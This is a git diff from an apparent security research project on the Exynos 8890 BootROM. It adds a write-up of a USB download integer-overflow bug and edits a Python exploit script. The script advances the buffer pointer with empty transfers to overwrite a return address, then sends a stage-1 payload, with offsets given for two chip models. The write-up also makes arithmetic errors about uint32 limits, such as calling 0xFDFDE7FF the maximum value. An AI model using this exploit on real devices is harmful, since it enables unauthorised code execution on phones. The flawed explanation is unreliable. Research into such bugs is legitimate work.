diff --git a/documentation/source/BootROM_8890/images/dl_data_struct.png b/documentation/source/BootROM_8890/images/dl_data_struct.png new file mode 100644 index 0000000..2917443 Binary files /dev/null and b/documentation/source/BootROM_8890/images/dl_data_struct.png differ diff --git a/documentation/source/BootROM_8890/images/max_allowed_chunck_size.jpeg b/documentation/source/BootROM_8890/images/max_allowed_chunck_size.jpeg new file mode 100644 index 0000000..3f3bae0 Binary files /dev/null and b/documentation/source/BootROM_8890/images/max_allowed_chunck_size.jpeg differ diff --git a/documentation/source/BootROM_8890/images/usb_payload_size_check.jpeg b/documentation/source/BootROM_8890/images/usb_payload_size_check.jpeg new file mode 100644 index 0000000..741378c Binary files /dev/null and b/documentation/source/BootROM_8890/images/usb_payload_size_check.jpeg differ diff --git a/documentation/source/BootROM_8890/images/usb_setup_ready_to_0.png b/documentation/source/BootROM_8890/images/usb_setup_ready_to_0.png new file mode 100644 index 0000000..8e51e3e Binary files /dev/null and b/documentation/source/BootROM_8890/images/usb_setup_ready_to_0.png differ diff --git a/documentation/source/BootROM_8890/index.rst b/documentation/source/BootROM_8890/index.rst index 08498ad..143a0fa 100644 --- a/documentation/source/BootROM_8890/index.rst +++ b/documentation/source/BootROM_8890/index.rst @@ -110,19 +110,55 @@ Other general device descriptors are also sent from the device to the host (to d Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ). -Bug 1(Integer underflow) +Bug 1 (Integer overflow) ------------------------ Originally described in this `blogpost `_. The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written. +.. figure:: images/usb_setup_ready_to_0.png + + The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size) + +.. figure:: images/dl_data_struct.png + + The dldata struct in the Exynos 8890 BootROM + .. code:: c if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) { *(undefined *)&pdVar1->ready = 2; } -In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute! +In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks +1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), +2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`). +If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff. + +The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded. + +.. figure:: images/usb_payload_size_check.jpeg + + The size check in the Exynos 8890 BootROM + +Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00. + +.. figure:: images/max_allowed_chunck_size.jpeg + + The max allowed chunk size, after which the payload is split. + +The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data. + +The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload. + +.. code:: c + + typedef struct dldata_s { + u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4 + u_int32_t size; //start = 0202151C, end = 02021520. Length = 4 + u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE + u_int16_t footer; //start = 02021714, end = 02021716. Length = 2 + } dldata; Bug 2 ----- @@ -131,7 +167,6 @@ Bug 2 Might be a 0/N-day if exploitable - @ELHER There is a bug(unpatched?) in receiving the last packet of the usb image: diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index f76a406..0a0b754 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -1,4 +1,4 @@ -import usb.util +import usb.util, usb.core import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * @@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG) BLOCK_SIZE = 512 CHUNK_SIZE = 0xfffe00 -MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) +MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2) DL_BUFFER_START = 0x02021800 -DL_BUFFER_SIZE = 0x4E800 #0x02070000 End +DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000 BOOTROM_START = 0x0 BOOTROM_SIZE = 0x20000 #128Kb TARGET_OFFSETS = { # XFER_BUFFER, RA_PTR, XFER_END_SIZE - "8890": (0x02021800, 0x02020F08, 0x02070000), + "8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890 "8895": (0x02021800, 0x02020F18, 0x02070000) } @@ -54,18 +54,18 @@ class ExynosDevice(): self.connect_device() def connect_device(self): + """Wait for proper connection to the device""" self.context = usb1.USBContext() while True: self.handle = self.context.openByVendorIDAndProductID( vendor_id=self.idVendor, product_id=self.idProduct, - skip_on_error=True + skip_on_error=False ) if self.handle == None: continue break - - print("Connected device!") + print(f"Connected device! {self.idVendor} {self.idProduct}") def write(self, data): transferred = ctypes.c_int() @@ -100,6 +100,7 @@ class ExynosDevice(): res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10) pass + def test_bug(self): # Start by sending a valid packet # Integer overflow in the size field @@ -128,14 +129,16 @@ class ExynosDevice(): def exploit(self, payload: bytes): ''' - Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload + Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload. ''' current_offset = TARGET_OFFSETS[self.target][0] + xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer transferred = ctypes.c_int() - size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6 + size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2) + #size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 max_payload_size = 0x100000000 - size_to_overflow - ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) + ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1] # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 @@ -152,7 +155,7 @@ class ExynosDevice(): cnt = 0 while True: - if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]: + if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start: break self.send_empty_transfer() current_offset += CHUNK_SIZE @@ -333,15 +336,17 @@ def usb_debug(): send_data() recv_data() count += 1 - pass - pass + if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) + + # Debug mode args = arg.parse_args() if args.debug: usb_debug() sys.exit(0) + exynos = ExynosDevice() exynos.run_boot_chain()